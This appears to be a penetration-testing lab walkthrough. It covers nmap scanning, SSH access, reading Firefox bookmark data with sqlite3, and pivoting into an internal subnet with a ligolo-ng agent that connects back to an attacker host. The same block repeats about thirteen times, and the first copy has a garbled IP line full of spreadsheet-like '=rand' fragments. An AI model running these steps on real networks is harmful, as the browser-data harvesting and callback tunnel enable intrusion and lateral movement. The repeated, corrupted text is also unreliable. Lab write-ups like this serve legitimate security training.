Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: 192. =rand(34,45) =rand(34,45) =rand(34,45)
=rand(34,45)168.98.0/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.
Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: [Link]/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.
Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: [Link]/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.
Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: [Link]/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.
Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: [Link]/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.
Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: [Link]/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.
Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: [Link]/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.
Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: [Link]/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.
Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: [Link]/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.
Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: [Link]/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.
Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: [Link]/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.
Notes:
Scope AccessVPN: [Link]/24
External IP range: [Link]/24 [[Link] is out of scope]
Internal IP range: [Link]/24 [[Link] is out of scope]
Initial AccessScanning Available Host
nmap -sn [Link]/24
PS : If you cannot discover the IPs, the server have enabled temporary pingblocking.
You can specifically scan the following [Link] can see 1 hosts up; Let’s scan
[Link]
nmap -sC -sV [Link]
ssh [privilege@[Link]](<[Link]
Enumeration
Enumerating the machine gives few leads to move forward. We saw this machine
has another adapter as well connected in different networks.
Browser history:
ls -la .mozilla/
cd .mozilla/firefox/
The filename may vary on your infrastructure, identify & use accordingly
cd [Link]-release
sqlite3 [Link]
.tables
select * from moz_bookmarks;
Pivoting
Must use latest version of ligolo
We have to perform pivoting as [Link]/24 is not directly accessible from the
VPN network. We will utilize ligolo-ng for the same.
#Attacker Machine, download proxy & agent :
#Proxy
wget <[Link]
ng_proxy_0.4.3_Linux_64bit.[Link]>
tar -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.[Link]
#Agent
wget <[Link]
ng_agent_0.4.3_Linux_64bit.[Link]>
If in target machine not downloadable directly then download it in attacker
machine, unzip it and then transfer it via http server.
tar -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.[Link]
# In attacker
In target
wget <[Link]
Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine:
# Attacker Machine
sudo ip tuntap add user kali mode tun ligolo
#Delete the [Link]/24 IP Range from the tun0 interface :
sudo ip route del [Link]/24 dev tun0
#Up the ligolo interface :
sudo ip link set ligolo up
#Add [Link]/24 IP range to the ligolo interface :
sudo ip route add [Link]/24 dev ligolo
Start the proxy on the attacker server
./proxy -selfcert -laddr [Link]:443
#Replace this with your attacker IP address.
./agent -connect [Link]:443 -ignore-cert
chmod +x agent
In attacker side:
On the ligolo-ng proxy, check the session & start the tunnel.